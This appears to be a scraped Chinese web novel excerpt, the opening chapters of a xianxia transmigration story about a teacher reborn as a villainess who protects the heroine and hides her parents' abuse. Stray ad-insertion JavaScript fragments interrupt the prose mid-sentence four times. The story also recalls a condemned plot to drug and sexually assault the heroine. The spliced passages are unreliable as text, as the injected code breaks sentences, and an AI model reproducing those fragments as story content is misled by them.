《恶毒女配自救法则》 1. 糟糕的穿书 "我靠!" 徐听晚猛然睁开眼,发现自己竟悬于万米高空。 脚下踏着一柄黑紫色长剑,心中顿时慌乱不已。 她踉跄几步,终在千钧一发之际稳住身形。 "我这身法,简直无敌!" 然而,还没等她适应,长剑却突然加速俯冲。 "这梦也太诡异了!" 尽管心中忐忑,她仍努力保持镇定,静待梦醒。 四周树木飞掠而过,她心中暗想: 醒来时,定会在床上猛地一颤,哈哈哈哈。 这梦真特别,醒了之后,一定要告诉秀珍。 不行,我要在脑子里过一遍,不然醒了就忘了。 ……… 还不醒吗? 不是? …… 但梦境似乎并未有结束的迹象,反而愈发真实。 当距离地面仅剩十米时,她的冷静彻底崩溃:"死梦,快醒啊!" 因恐惧而闭眼,再睁开,她已安全落地。 长剑自动飞回手边,她肌肉记忆般将其放入储物袋中。 就在这时,天边传来不祥的鸟鸣,她抬头望去,只见一庞然大物坐于山洞之上。 竟是只黑棕巨熊,眼神凶狠,利爪如钢针。 眼圈一片乌黑,还是诡异的红色竖瞳。 "熊!?" 徐听晚的声音中夹杂着难以抑制的颤抖。 一头黑棕熊骤然间向她猛扑而来。 血口大开,满嘴都是密密麻麻的细尖牙齿,看的她头皮发麻。 徐听晚下意识的抬手挡在身前。 黑紫色长剑瞬间到她手中。 千钧一发之际,一个和她长相一模一样的女人猛然出现。 抓住她呆滞的手,一道剑气直接砍出。 黑棕熊捂住被斩断的下巴,哀嚎一声。 它似乎是被激怒,飞扑而来。 女人奇迹般地钻进她的身体。 徐听晚还有意识,身体却不受控制动了起来。 她膝盖微曲,手腕灵活一转,剑尖精准刺入黑棕熊血肉模糊的上颚。 面对逼近的利爪,徐听晚轻盈一跃,左手迅速抓住熊皮,猛然一拽。 黑棕熊的头颅因这股力量被长剑彻底贯穿。 鲜血与哀嚎交织,从熊喉间喷涌而出。 电光火石间,徐听晚双手紧握剑柄,蓄势待发,横向一挥,黑棕熊的脑袋被干净利落地一分为二。 仅余面部皮肉维系着那半颗头颅。 最后一刻,利爪仍奋力向她挥来。 但徐听晚轻描淡写地一脚将其踹开。 她周身有着看不见的灵力护体,让喷涌的鲜血无法沾身半分。 “我嘞个去。” 恢复身体控制权的徐听晚,往后退了几步。 “我要休息一会,想活命,就别乱逛,等宗门弟子过来接你。” 那女子的声音在脑海中回荡,随后一切归于平静。 战斗结束,徐听晚恢复意识,环顾四周,心中惊骇难平。 她只是一个普通的初中语文老师啊!好不容易考上了编制! 她渐渐平复下来努力回忆,只记得睡前看了一本名为《血仙记》的小说,看到一半,随后便失去了意识。 徐听晚捏了捏自己的脸。 “靠,好痛。” 猛然间,一股庞大的记忆洪流冲击着她的意识之海,令她猝不及防。 剧烈的头痛如潮水般涌来,迫使她紧蹙双眉。 待那阵剧痛逐渐消散,徐听晚的眼眸中却泛起了一抹迷离之色。 她,穿书了? 这些记忆不是那个恶毒女配徐听晚吗? 甚至还有小说里没有写出的剧情。 “疯了。” 为了验证自己的猜想,她猛地冲进洞里。 看见满身是血倒在地上的江月平。 悬着心彻底死了。 “老天爷,你开开眼吧,你让我穿了个什么角色!!恶毒女配!!未来会被女主捅成筛子啊!让我回去!国家的花朵需要我的栽培!!”徐听晚怒吼道。 这段剧情是她先行一步,找到女主江月平位置,意图借机将其铲除。 然而,身为女主的江月平留有后手。 调动丹田精血,凭空符咒,瞬间将她炸飞出去。 此事过后,江月平修为散尽,徐听晚身受重创,两人皆被随后赶至的宗门弟子救回。 身为剧中恶毒女配,她颠倒黑白,一口咬定江月平趁她与黑棕熊激战之际,暗中偷袭。 其身为掌门的父亲与身为长老的母亲,未及细查,便匆匆下定论,强行将江月平押往剑冢受罚。 此举无疑让江月平成为了众宗门亲传弟子中的笑柄与耻辱。 徐听晚深吸一口气。 她一定不会让这样的事发生。 正当她欲离洞时,却与女主江月平目光交汇,手中长剑沾满鲜血,她苦笑:“我说,我是来保 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 护你的,你信吗?” 江月平阴沉着眸子,咬破嘴唇,动用丹田精血,凭空画符,将她炸飞出去。 在疼痛席卷身体那刻,她在心中怒吼。 忘记收剑了,操—— 然而,徐听晚并未如小说情节般陷入昏迷之境。 她微微晃动头颅,艰难地吐出嘴中粘腻的鲜血。 幸好她早有防备, 在千钧一发之际,自储物袋中迅速取出一张上品山盾符咒,抵御了部分爆炸伤害。 若非她事先知晓女主留有后手,恐怕根本无法及时应对。 “上品山盾符都给干碎了。” 徐听晚奋力挣扎,缓缓起身,却发现基础的灵力护体都难以凝聚。 浑身泥泞与鲜血交织,混杂的腥味,让连鱼都未曾杀过的她眼眶泛红。 她轻触脸庞,真实的触感让她泪水决堤。 环顾四周,心中默默思考小说情节。 只要静默等待,宗门弟子必会前来救援。 “别哭了。” “进去,杀了她。” 那个与徐听晚一模一样的女人再次现身眼前。 她轻柔地拂过徐听晚眼角的泪痕,但那泪水却穿透了她的虚幻身影,无法触及。 徐听晚伸手欲抓,却只握住了空无。 “你是谁?” 女人的眼眸深邃,透露出冰冷与空洞。 她身着的淡黄衣裳,非但未能柔化那眼中的锐利,反而在其映衬下更显名贵。 眼下淡淡的乌青,虽透露出疲惫之态,却在她周身环绕的独特气质中,转化为一种难以言喻的雍容。 两人拥有相同的精致五官,却呈现出截然不同的观感。 "我就是你,记忆共通,无分彼此。" 她的言辞令徐听晚困惑不已。 女子缄默,缓缓逼近,气氛愈发凝重。 "若你今日不除她,日后她便会杀了你,不是吗?" 徐听晚被逼得踉跄后退,颤声问道:"你,是我的心魔?" 她双手紧攥肩头,眼中尽是无助与慌乱交织的思绪。 女人盯着她的眼神竟然露出丝丝心疼。 “我不重要,现在最重要的是她。” 女子转身,目光锁定在幽深的山洞上。 徐听晚紧随其后,目光同样投向那山洞,身躯因难以忍受的痛楚而细微地颤栗着。 “杀了她。” 女人的声音让徐听晚瞳孔猛地一颤。 2. 踏血寻仙 "不要。" 女人闻言,神色微滞。 "为何不杀了她?" 徐听晚取出储物袋中的回元丹,吞入口中。 "我欣赏她。" 她的话语简洁而坚定。 女人闻言,不由自主地后退数步,眼中满是不可置信之色。 "你拥有我的记忆,便应知晓,我曾细读过《血仙记》一书。" “如果我不喜欢书中的主角,我又为什么要看呢?” 女人轻笑一声。 “她会杀了你。” 徐听晚手持丹药,稳步踏入幽深的山洞。 “用你们那边的语言来说,你这是圣母。” 女子挺身拦路,阻断了她的去路。 “受尽苦楚,只为找寻母亲死亡的真相。” “满目疮痍,却依旧坚守心中义气和正道。” 两双相似的眼眸交汇,疑惑在女人眼中浮现。 徐听晚垂眸,淡然一笑,穿过她的身体。 “我有勇气,去尝试让她不杀我,你将自己表现的如此厉害,却连这点勇气都没有吗?” 女人猛然愣住,随后恍然大悟般的自嘲一笑。 “卑劣者,自然缺乏面对未知的勇气。” 徐听晚轻拥江月平入怀,背靠石壁缓缓坐下。 她细心地为江月平喂服丹药,同时向旁边的女子坦言:“其实,我很怕死。” “但我做不到杀害一个无辜之人。” “我也很胆小。” “但我不敢想象,杀害一个无辜之人后的生活。 “那跟死了有什么区别。” 女人凝视着洞外透入的光线,嘴角勾勒出一抹释怀的微笑。 徐听晚恍惚间,似乎捕捉到了她眼眸中一闪而过的晶莹泪光,如同晨曦中露珠的闪烁。 就像是一个满身疲惫的旅人,终于迎来了期盼已久的光明。 随后,女人轻轻搭上徐听晚的肩膀,再次进入她的身体。 “用你的灵力牵引她的灵力归位,便可避免她修为尽失的结果。” “只是可能对你来说有些难操作。” “试试咯!” 徐听晚在女人的悉心指导下,逐步体会着灵力的微妙,引导其在体内流动。 “怎么样,我厉害吧,这就是天赋!” 女人嘴角勾起一抹淡笑,这东西她七岁便会了。 正欲出言调侃,她却猛然间怔住。 脑海中回荡起父亲往昔的严厉话语:“身为我的女儿,这都学不会吗!” 她声音略显僵硬,勉强挤出一句:“嗯,确实厉害。” 徐听晚用净身术,将她与江月平身上的血渍处理干净。 江月平苍白的小脸渐渐恢复血色。 四处乱窜的灵力也平复下来。 女人阴沉的声音突然出现。 “你必须保持修为,永远高过于她。” 徐听晚睁大眼睛眨了眨,“为什么!?” “没有为什么,若是你做不到,我就将你吞噬,到时候,你将永远失去意识,归为混沌。” “大姐啊,她是天灵根,而且还是女主,我……” 女人打断她的话道:“五十年内。” “四十年。” “啧,那就四十年。” “二十年。” “啧,不是你……哎,二十年。” “十年。” 识海传来女人暴怒的声音。 “你搁这买菜呢?” 徐听晚狡辩道:“我们记忆相通,你不知道我什么样啊。” “十年,再讨价还价一句我现在就吞噬你。” “哎呀,好好好。” 徐听晚咬了咬嘴唇,在心中开始默默制定恶毒女配生存法则。 1.讨好女主,取得原谅。 2.谄媚女主,获得共赢。 3.好好修炼,面对除女主其他事情,不听,不管,不掺和。 “我简直是个天才。” 识海里的女人轻笑一声。 “不是,我心声你都能知道啊?” “都说了,我就是你。” 徐听晚扯了扯嘴角:“你这心魔真BUG。” “我不是心魔。” “心魔都说自己不是心魔。” “……” “其实你这心魔还挺好的,至少讲道理。” “……” 五行道宗。 四周群山环绕,上下青树飞水。 左右云雾缭绕,中坐华殿仙堂。 “听晚,到底发生了何事,受此重伤。” 身坐高台,正在问话的便是徐听晚父亲,五行道宗掌门——徐君彦。 剑眉星目,丰神俊朗。 若非凭借原主记忆与小说情节,徐听晚险些被其一身正义凛然之气所蒙蔽。 领口处隐秘绣制的龙纹,不经意间泄露了他难以掩饰的狂傲。 发冠高高束起,尽显其意气风发之态,与此刻面上流露的和煦笑容形成鲜明对比,令人心生疑惑,难以捉摸。 徐听晚往前一步,走到江月平的斜上方,有些微微将她挡住的位置。 江月平猛地紧张起来,半垂着眼,强忍情绪,面无表情地紧盯着徐听晚,眼神中透露出不容忽视的锐利。 “小师妹与四师弟下山执行任务时突遭袭击,四师弟迅速返回宗门求援。” “我心急如焚,即刻动身前往救援,不料途中遭遇一头金丹中期的黑棕熊,因此受了伤。” 此言一出,四周弟子低声讨论起来。 “徐师姐,没打过金丹中期的黑棕熊?” “剑符双修天才也不过如此嘛。” “修为高一阶都受了重伤。” “天赋狗一个。” “小声点,她可是掌门女儿。” “掌门公私分明,定不会有所偏袒,我们不过实话实说。” …… 众长老闻言,眉头不禁轻轻蹙起,心中暗自叹息:身为宗门内备受瞩目的亲传大师姐,怎会在与比自己修为低一阶的妖□□锋中,竟落得重伤之境地。 传出去简直有辱宗门颜面。 徐听晚凭借对原主记忆的深刻了解,早已预料到众人会有所反应,只是未曾料到这份反应竟 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会如此强烈,超乎她的预料。 此刻,她的思绪莫名飘远,脑海中不由自主地浮现出原主在小说中那段对女主无端污蔑的情节,心中五味杂陈。 徐君彦展露和煦笑容,轻声道:“既然无恙,便回去歇息吧。” 掌门开口,四周安静下来。 江月平闻言,眼眸中闪过一丝讶异。 她本以为徐听晚会提及自己被打伤之事,却未料她对此只字未提…… 而且以她当时的情况,使用血灵符若无人调理,定会修为尽失。 然而,奇迹般地,她竟安然无恙。 心中不禁生疑,目光不由自主地转向了身旁的徐听晚。 “弟子告辞。” “弟子告辞。” 事情有了结果,大殿内的众长老与弟子纷纷离开。 突然一道声音响起。 徐听晚与江月平回过身,站定在原地。 “听晚,入夜,母亲与父亲在院落中等你,公事既已处理妥当,私下里,母亲心中实是万般疼惜。” “你已至金丹巅峰之境,怎会与一只金丹中期的黑棕熊缠斗至此,重伤加身?其中定有隐情。唉,作为师姐,保护师妹乃分内之事,但……唉,罢了。” 说话的正是徐听晚的母亲,五行道宗长老——林流华 她的目光虽是温柔的落在了江月平的身上,但却带着难以察觉的寒意。 气氛骤然转变,众人的视线不约而同地聚焦在江月平身上。 徐听晚惊愕地抬头,情急之中,她侧身一步,毅然决然地挡在江月平前头,坚定地说:“母亲,是女儿不慎才招致此祸,与小师妹绝无干系。” 人群中议论声四起。 林流华面色如常,眼神中却透露出对徐听晚满满的心疼,她温柔地安慰道:“无妨,母亲明白。” 此言一出,众人纷纷转而支持徐听晚,开始揣测起事件的真相。 徐听晚难以置信地望着林流华,心中涌起一股难以名状的惊惧。 正当她欲再作解释之际,一位身着白衣、面容和煦的男子悄然来到她身旁。 徐听晚对这位男子再熟悉不过,他与原主交情匪浅。 此人,正是她的二师弟——石观明。 “我亲眼目睹大师姐将一头元婴巅峰境界的妖兽斩于剑下,此事定有蹊跷。” 徐听晚转头瞪了一眼石观明,欲开口反驳,却被徐君彦开口打断,他淡然言道:“此事已了,诸位无需再议。” 言毕,他与林流华并肩离去,最后还满怀心疼的看了徐听晚一眼。 徐听晚瞪大了眼睛,难以置信地注视着眼前的一切,随后她转过头,目光与江月平交汇。 江月平面容冷峻,毫无表情地回望她。 两人之间静默片刻,最终,在众人质疑的目光注视下,江月平转身离去。 石观明见状,欲伸手轻触徐听晚的手臂,却被她猛然避开,她紧蹙眉头,警惕地瞪视着他。 “今晚需要我陪你一起去吗?”他轻声问道。 “不必!” 徐听晚简短而坚决地回答,随即转身,快步追上江月平的背影。 3. 贪婪 "小师妹!" 闻言,江月平轻轻侧首,目光锁定在匆匆奔来的徐听晚身上。 "大师姐,还有何吩咐?"她的声音平静无波,透不出丝毫情绪。 "对不起。" 徐听晚边说边从储物袋中取出寒雪笔,拉起江月平的手,轻轻置于她掌心。 "这本应属于你。"她的话语简洁而诚恳。 江月平紧握寒雪笔,眼帘低垂,神色复杂难辨。 "你的歉意,若是对过往之事,我不接受;若仅为此刻之事,你又何须致歉?毕竟,我确实伤了你,这是事实。" 原本以为徐听晚会大发雷霆,但她只是淡然地点了点头,轻声应允,随后便转身离去。 江月平望着她渐行渐远的身影,眼中满是不可置信,随后目光又落在了手中的寒雪笔上。 近来,她的大师姐行为举止颇为异常,让江月平心中疑惑重重,她揣测着,是大师姐性情大变,还是正酝酿着更为深远的设计。 徐听晚在识海女子的引领下,逐渐熟悉了宗门的一草一木,直至夜幕低垂。 “切记,千万别哭。” 这是她在踏入父母居所前,识海里的女子最后的叮咛。 院落之内,景致如画。 徐君彦身姿挺拔,立于桃花树下,长剑在手,婉若游龙,气势非凡。 林流华则静坐于池塘中央的小亭里,符笔轻挥,笔触流畅,行云流水。 月光倾洒,为这院落披上了一层柔和的光辉,院内灯火阑珊,更添几分温馨与宁静。 然而,徐听晚的心中却难以平静。 在原主的记忆中,眼前的这份宁静,往往是暴风雨来临前的预兆。 心魔的警告在她耳畔回响,她深知自己不能落泪,因为泪水只会引来更加严厉的责罚与痛楚。 “父亲,母亲,女儿已至。”徐听晚的声音里藏着不易察觉的颤抖。 徐君彦手腕轻旋,剑势收敛,剑尖直指徐听晚。她目光微晃,化神期的威压骤然降临,迫使她跪倒在地。 徐君彦缓缓收起长剑,步步逼近徐听晚。 “真是丢人的废物。”他的话语冷冽如冰,眼神中透着刺骨的寒意,与在外人前的温文儒雅判若两人。 林流华身形一闪,跃出小亭,化神期的全力凝聚于一掌,重重打在徐听晚的脸上。“刚才在大殿上还敢顶撞我?废物一个,说,你真的是被金丹中期的妖兽所伤?” 徐听晚抹去嘴角的血迹,心中一沉。 她必须设法阻止两人,不能就此挨打。 “女儿怎会连一只金丹中期的妖兽都对付不了?实则是江月平暗中偷袭。”她急中生智,道出缘由。 此言一出,两人动作一顿。徐君彦眉头紧锁,眼中闪过一抹算计。 徐听晚继续说道:“其实,女儿是想与江月平交好,再反戈一击,让她身败名裂,最终夺取她的天灵根献给父亲!” 徐君彦闻言,眼中闪过满意之色,嘴角微扬。“不愧是我的女儿,深谙我心,考虑周全。” 林流华则微微皱眉,看向徐君彦。“夫君若想要那天灵根,直接引她出宗暗杀便是,何必如此周折?” 徐君彦轻轻摇头。“各宗亲传弟子皆是修仙界翘楚,若有不测,各宗必会联手追查。我们要让她一步步走向毁灭,看似自然。” 他嘴角勾起一抹阴冷的笑,目光再次落在徐听晚身上。 “不愧是我的女儿。” 徐听晚勉强挤出一丝笑容。“能为父亲分忧,女儿荣幸之至。” 她踉跄着步伐,缓缓走出院落,强忍着喉间的不适,将丹药艰难咽下。 泪水,不由自主地滑落脸颊。 林流华那一掌,虽未在外表留下痕迹,但蕴含的灵力却如重锤般冲击着她的内脏,致使多处受创。 若非体内灵力及时护体,恐怕五脏六腑早已支离破碎。 五脏六腑皆碎,非一年半载的丹药调养,难以复原。 行至转角,一只纤细而略显苍白的手悄然伸出,稳稳地将她扶住。 徐听晚眉头微蹙,抬头望去。 “石观明?” 她心中诧异,他不是被嘱咐过不要来吗? 识海深处,女子的声音轻轻响起:“这是你们儿时的约定,每当你前往父母院落,他都要相伴在外等着。” 徐听晚闻言,心中涌起一丝波澜。 原来,原主与石观明之间还有这样一段过往。 尽管她继承了原主的记忆,但那些细微末节,仍需时间去细细品味。 她刻意疏远石观明,不仅因为他对大殿上的那番言论让她心生不满,更深的忧虑是,怕他察觉到自己并非真正的原主。 徐听晚向识海中的女子反问道:“原主对他有感情吗?” 女子在识海中平静回应:“好友罢了。” “我还能回到现实世界吗?” “不能。” “为何?” “你本就属于此地,且那世界的肉身恐已不复存在。” 徐听晚眉头紧锁,石观明误以为弄疼了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她,手劲随之减轻。 她继续追问识海中的女子。 “我的朋友们还在那边,我真的无法回去吗?这身体并非我的,原主的灵魂呢?” 女子沉默片刻,解释道:“若有可能,我愿随你前往那世界,但那些皆非你应得之物。” 徐听晚闻言,面色惨白,不再言语。 女人轻叹一口气,既然已经决定,就没有必要再对她隐藏。 “我便是你口中的原主灵魂。” 徐听晚闻言,瞪大了双眼。 “我们皆是徐听晚,只是灵魂一分为二,我与你各执其一。” 徐听晚震惊之余,瞳孔微颤。 “我们之间,只能存活一个。” 女子言罢,再无声响。 徐听晚亦沉默不语,低垂眼眸,思绪万千。 女子的声音再次传来:“或许,我本不该利用这长命锁将你召回。” 徐听晚平静的听着。 女子继续说道:“但若魂魄不全,五弊三缺,寿命难长,你我皆难活过三十载。” 沉默半晌,徐听晚凝视着石观明的脸庞,语气坚定地说:“以后,别再欺负小师妹了。” “但你总是因为她,而遭受父母的责打。”石观明反驳道。 “那与她无关。”徐听晚简洁地回应,语气中透露出不容置疑的坚决。 “可只要压制她的进步,你就会少挨些打。” 徐听晚未置一词,仅以冷眼相向,目光中透露出不满。 石观明见状,微不可察地叹了口气,随后缓缓点头。 随后,徐听晚在识海中向那个女人询问:“为何不把父母的暴行公之于众?” 女人平静地解释道:“谁会相信?修仙之路本就充满艰险,你身上的伤痕,外人如何分辨是他们所为还是修炼所致?” “更何况,他们将所有修行资源都倾注于你,在这个修行至上的世界里,外人又怎会相信他们会如此对待自己的女儿?” 徐听晚轻叹一声,目光温柔地迎向石观明忧虑的眼眸,轻声解释道:“我不会因她而受父母责罚了。” 徐君彦与林流华,二人皆沉迷于权势、颜面与武力的追逐,性格狡黠,擅长伪装,令人难以捉摸与应对。 徐听晚只将小说《血仙记》看至一半,关于徐、林二人的剧情寥寥。 她已知的剧情是女主修为尽失,受尽磨难,重新开始,联合男主揭穿她的计谋,然后用剑将她捅成了筛子。 后面她还未来得及去看,便来到这里。 4. 偷听 江月平与一男子,皆贴有上品敛息符,隐匿于远处,窥视着徐听晚与石观明的一举一动。 “大师姐与二师兄,关系一直很好,从我进宗门起便是如此,即便两人在一起我也不会惊讶。” 说话的正是江月平的四师兄柳清云之口。 江月平眉头微蹙,目光聚焦于被石观明温柔搀扶的徐听晚身上。 “她受伤了。” 柳清云不以为然地摇了摇头,解释道:“她去父母院落怎会受伤?想是近日与师父练剑,旧伤未愈,又添新痛。” 他偷偷以余光瞥向江月平,即便四周仅他们二人,他仍不敢直视其眼,只得匆匆眨眼,目光游离。 随着徐听晚与石观明的身影渐行渐远,江月平缓缓侧头,而柳清云也趁机侧过头去看她。 江月平的发丝宛若瀑布,顺滑地垂落在双肩,半挽的发髻间,低调的青玉银饰静静镶嵌,为其平添了几分清冷与雅致。 这青玉银饰,正面观之,恍若男子发冠,英气逼人;侧面细赏,则紧贴发髻,简约而不失精致,尽显独特风韵。 淡青色的衣裳悄然融入夜色,化作一抹幽深的冷青,与周遭景致浑然一体。 江月平与夜色下深邃的绿丛交相辉映,彼此映衬。 就连清冷明亮的月亮也只能沦为陪衬。 柳清云一时之间竟有些出神,直至江月平目送徐听晚与石观明二人渐行渐远,缓缓转身,目光落在他的身上,他这才猛然惊醒,红着脸慌忙移开了视线。 江月平并未察觉到他的异样,只是沉浸在自己的思绪之中。 “我们不是来偷听的吗?为什么站这么远,隔这么远什么也听不到。”柳清云轻轻叹了口气,随即抬眼望向江月平,眼中闪烁着好奇的光芒。 江月平面容微沉,眉头轻蹙,“你真以为大师姐会被一头金丹中期的妖兽所伤?” 柳清云闻言,自信满满地回应道:“我自然是相信你的。” 然而,江月平却并未因此展露笑颜,她的目光落在师父师母的院落里,神色复杂。 阵法如雾一般遮挡住院落,没人能看见院落里面发生了什么,只能看见院落外表的青砖绿瓦和精巧设计。 “我可没说过我没动手。”江月平突然开口,打破了周围的宁静。 柳清云闻言一愣,“你……你真的偷袭了大师姐?” 江月平缓缓道来:“当时,我设法引开了所有的妖兽,让你回去求援。然而,不久之后,我便被妖兽团团围住,经过一番苦战,我拼尽全力冲出重围,躲进了一个隐蔽的小山洞中。” “我满身伤痕,只能依靠上品敛息符隐藏气息,同时在洞外的落叶上留下我的灵力印记,以便宗门能够找到我。” “而她,很快就找到了我。”江月平的话语突然严肃。 柳清云惊讶地挑了挑眉,“有多快?” “我进入山洞后便陷入了昏迷,进山洞前我瞥了一眼天上的太阳。当我再次醒来时,只见洞口的光线已有所变化,我估算自己大约只昏迷了半个时辰。” 江月平继续道:“从那里到宗门御剑飞行需要一刻钟的时间,而你作为丹修,使用灵器飞行则大约需要一刻半。” 柳清云瞪大了眼睛,难以置信地说道:“宗门通报集合还花了差不多两刻半的时间呢!”说到这里,他猛地顿住了。 江月平接过他的话茬,“御剑飞行一刻钟,那她最多只用了两刻钟的时间,便在这天河大陆最大的繁茂树林中找到了我。” 此时此刻,柳清云已经惊讶得说不出话来。他虽知大师姐实力非凡,却未曾料到她竟如此强大。 “当时,她持剑而入,我以为她是来取我性命的,便以丹田精血为引,凭空绘制出肃杀符,猛然向她掷去。” 柳清云闻言,不禁倒吸一口冷气,心中暗道:“突然觉得大师姐的伤好轻。” 江月平的面色骤变,显得格外凝重,缓缓言道:“按常理,施展此招,我应会因灵力失控而修为尽丧,但奇怪的是,我并未受损。当时,现场仅有我、她,以及一具金丹中期的妖兽遗骸。” “你的意思是……”柳清云话未说完,便被江月平打断。 “她承受了我全力一击,仍有余力助我稳定灵力。”江月平继续说道。 柳清云闻言,彻底愣住,心中暗自惊疑:大师姐真的只是金丹巅峰修为吗?她竟能接下金丹初期、天灵根小师妹,融合了丹田本源之力的精血,所绘制的肃杀符。 江月平最后深深凝望了徐听晚离去的方向以及师父师母的院落一眼,随后毅然转身,步入夜色之中。 她修为深厚,轻易不会受伤,此番情形背后,定有隐情。 柳清云深吸一口气,轻拍胸口,轻叹道:“幸好我们没凑近去听。” “唉,唉,唉,小师妹,等等我!”他连忙呼唤,追赶而去。 徐听晚步入自家院落,回眸间,对上石观明的眼神。 他静静地与她对视,气氛宁静而微妙。 “多谢。”她轻声说道。 石观明的发髻半束,银白发带简约缠绕其上,未添丝毫赘饰,更显其清雅脱俗。 月光倾洒,他恰好立于皎洁之下,白衣胜雪,发带随风轻扬,宛如画中仙人,飘逸非凡。 此情此景,他确实名副其实,担得起书卷美男排名第二的位置。 谦谦君子,温润如玉。 不同于书卷上的描述的温柔,现在的他眸色阴郁,眼神偏执。 “我会帮你,我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会永远相信你。” 他并非高冷的孤傲,也非冰冷的无情而是理解一切后的温和和漠然。 徐听晚轻轻颔首,“我相信你。” 她轻叹一声,深知对女主的过往行径已无法挽回,唯有尽力弥补。 至少,下药玷污的阴谋尚未实施。 书中写到,她策划,利用魔修企图玷污女主,再诬其为魔宗卧底。 不料,此计非但未遂,反促成男女主间英雄救美,情感愈加深厚。 阴谋败露,舆论哗然,她陷入绝境。此时,石观明站了出来,谎称因倾慕她已久,陷害小师妹是为讨她欢心,方设此局。 最终,他说自己愧疚难当,便自刎谢罪。 石观明的死,让她只被罚了三月剑冢禁闭。 重获自由后,她表面温婉如水,平静度日半年有余。 然而,宗门秘境之行,她以阵法干扰传送符咒,在众目睽睽之下攻击女主。 幸得女主破解阵法,众人脱困,而她则被废掉修为,逐出师门,在外面被女主捅成了筛子。 石观明对徐听晚的回答深感意外。 她曾是个多疑之人,从不轻易信任自己,更不愿向他透露心声,凡事皆需他主动靠近去了解。 “会好的。” “嗯,你先回去吧。” 徐听晚步入自己的院落,院内装饰简约朴素,无过多奢华之物。 踏入屋内,空间显得尤为空旷,仅有一张书桌、数把椅子以及屏风后的一张大床。 她的院落保持着最初的模样,未经任何修饰,纯粹的基础布局。 徐听晚环顾四周,最终视线定格在窗边那盆硕大的花卉之上。 “黄玫瑰!”她轻声呢喃,眼中闪过一丝惊喜。 识海深处,一个女子的声音悠然响起:“在我们这里,它被称作暖玉花,虽无大用,却极难照料。” 女人微微一笑,语气中带着几分得意:“我照料得还不错吧?我还特地请人打造了一个灵器花盆,能以灵力调节温度,确保它茁壮成长。” 女子的突然激动让徐听晚略感意外。 “确实不错,”徐听晚赞叹道,“在那个世界,我最好的朋友送了我一盆小巧的黄玫瑰,虽不及此花壮观,却也承载了诸多回忆。现在我离开了,也就没人为它浇水了。” 言罢,徐听晚轻轻抚摸着暖玉花的花瓣,动作温柔而细腻,仿佛在与旧日时光对话。 服下丹药,徐听晚休息一夜,醒来之时,身体已全然康复。 她轻松提起满盆暖玉花,置于院中石桌,悠然坐于石椅之上,沐浴阳光,同时依循识海中女子的指引,细致入微地修剪着花枝。 忽闻敲门声起,她淡然应允:“请进。” 5. 云舟 二师弟、四师弟与小师妹,除却外出历练的三师弟外,皆已齐聚她院。 徐听晚目光中带着几分好奇,望向三人。 石观明怔怔地望着修剪花枝的她。 江月平则瞥了一眼花,随即目光转向别处,神色淡漠。 柳清云见状,心中暗自思量昨夜与小师妹的对话及大师姐往昔的性情,不禁打了个寒颤,急忙笑言:“大师姐,想是事务繁忙,未看书卷。师父命我等前往上北城,协助玄天剑宗调查长老陨落之事。” 徐听晚闻言,迅速取出通讯书卷查阅,随即对柳清云微笑颔首:“多谢提醒。” 石观明瞥了柳清云一眼,眉头轻轻蹙起。 话说得可真快。 徐听晚目光温柔地转向江月平,嘴角轻轻上扬,“小师妹是我们中最后拜入师门的便由你来选择乘坐云舟,还是御剑。” “若你倾向于御剑,那我们两人便各带一个人,毕竟灵器飞行太慢了。” “云舟。”江月平简洁地回应。 徐听晚轻轻颔首,“好。” 四人抵达银玉城门前,随即踏上云舟。 “观明、清云、月平,若遇困境,速用书卷传讯于我。若书卷灵力受阻,即刻撕毁此跟踪子符,大师姐能凭母符迅速找到你们。” 徐听晚将数张跟踪子符分予三人。 撕掉子符她便会有所感应,知晓他们有难,然后通过跟踪其余子符精准定位。 柳清云投以惊讶的一瞥。 “此行我身为大师姐,自当全权担当。若诸位师弟师妹中有任何闪失,我亦难辞其咎。” 徐听晚说出此言,是因剧情轨迹已悄然偏移。 她担心小师妹与四师弟安危,故含蓄提醒:此行她将搁置过去一切。若二人遭遇不测,身为大师姐,她恐难逃众矢之的。 原书中,玄天剑宗此段章节,女主并未涉足,仅以寥寥数语轻描淡写。 只写了她与石观明二人前去援助,魔修突现,战况惨烈,伤亡惨重,二人亦身受重伤而归。 玄天剑宗因此元气大伤,各宗闻讯纷纷派遣援手。 因为她与石观明身受重伤,五行道宗便派遣了女主小师妹与身为男配的四师弟前往,而正是这次任务,促成了女主与玄天剑宗大师兄,亦即男主的初次邂逅。 她眉头紧锁,目光紧紧锁定在云舟的前方,心中暗自思量。 此番剧情的变动,无疑与她之前与父母亲的对话息息相关,这是特意为她铺设的桥梁,让她有机会与小师妹修复关系。 徐听晚瞥了一眼并肩立于舟首的柳清云与江月平。 石观明轻拍她的肩头,宽慰道:“无需忧虑,此行仅代表五行道宗在一旁的调查见证。” 她轻摇首,忧虑道:“能无声无息诛杀剑修元婴巅峰长老者,连我父亲亦难及。” 上北城轮廓渐显,众人正欲松一口气,忽而狂风骤起,云舟周遭的万年防御阵法竟现裂痕,旋即崩碎。 徐听晚见状,迅速抓住修炼御兽之术的石观明,向后猛力一甩,使其避险。 随即,她借力一跃,冲向尚未反应过来的柳清云与江月平。 左手将江月平抱在怀里,右手紧攥柳清云衣领,带着二人向后躲避。 火矢猛然划破长空,精准地落在两人原本站立的位置。 徐听晚迅速抬头,只见天际间火矢凭空涌现,密如繁星。 转瞬间,火矢如同倾盆大雨,无情地倾泻而下。徐听晚毫不犹豫地将师弟师妹护在身后,手中紧握一支中品符笔,储物袋内的八卦符咒在她的操控下,一张张携带着灵力腾空而出。 “八卦阵法——巽艮风山!”她低喝一声,阵法瞬间成形,将众人紧紧包裹。 火矢在巽卦之风的引导下纷纷偏移轨迹,最终无力地撞击在艮卦所化的山盾之上,化为点点火星消散。 八卦符咒的消耗速度惊人,徐听晚不断从储物袋中取出符纸,手指翻飞间,新的符咒迅速成形。 她一边操控阵法,一边疾速画符,灵力如江河之水般汹涌流逝。 石观明抬手,一股清冽的水灵力缓缓流向她,柳清云焦急地瞥向江月平,见她亦抬手,随即效仿。 